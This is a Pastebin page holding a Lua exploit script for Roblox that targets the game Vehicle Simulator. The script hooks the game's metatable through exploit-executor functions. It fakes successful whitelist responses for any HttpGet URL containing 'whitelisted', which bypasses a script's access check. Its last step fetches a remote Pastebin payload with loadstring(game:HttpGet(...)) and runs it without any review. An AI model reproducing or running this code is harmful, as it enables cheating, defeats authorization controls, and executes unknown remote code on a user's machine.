Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- assert(getrawmetatable, "nope")
- local mt = getrawmetatable(game)
- local call = mt.__namecall
- local indx = mt.__index
- local newcclosure = newcclosure or function(f)
- return f
- end
- local callcheck = checkcaller or is_protosmasher_caller
- local write = setreadonly or make_writeable
- xpcall(function()
- write(mt, false)
- end, function()
- error'cant make metatable writeable'
- end)
- mt.__index = newcclosure(function(t, k)
- if t == game and callcheck() then
- if k == 'HttpGet' then
- return newcclosure(function(self, url, ...)
- return game:HttpGet(url, ...)
- end)
- elseif k == 'HttpGetAsync' then
- return newcclosure(function(self, url, ...)
- return game:HttpGetAsync(url, ...)
- end)
- end
- end
- return indx(t, k)
- end)
- mt.__namecall = newcclosure(function(self, ...)
- local pack = {...}
- local method = table.remove(pack)
- if method == 'HttpGet' or method == 'HttpGetAsync' and callcheck() then
- local url = tostring(pack[1])
- if string.find(url, "whitelisted") then
- return "accepted "
- end
- end
- return call(self, ...)
- end)
- loadstring(game:HttpGet("https://pastebin.com/raw/NxLHGZy5", true))()
- --https://www.roblox.com/games/171391948/Update-Vehicle-Simulator-Beta
- -- syntax highlighter by josh @v3rmillion.net
Add Comment
Please, Sign In to add comment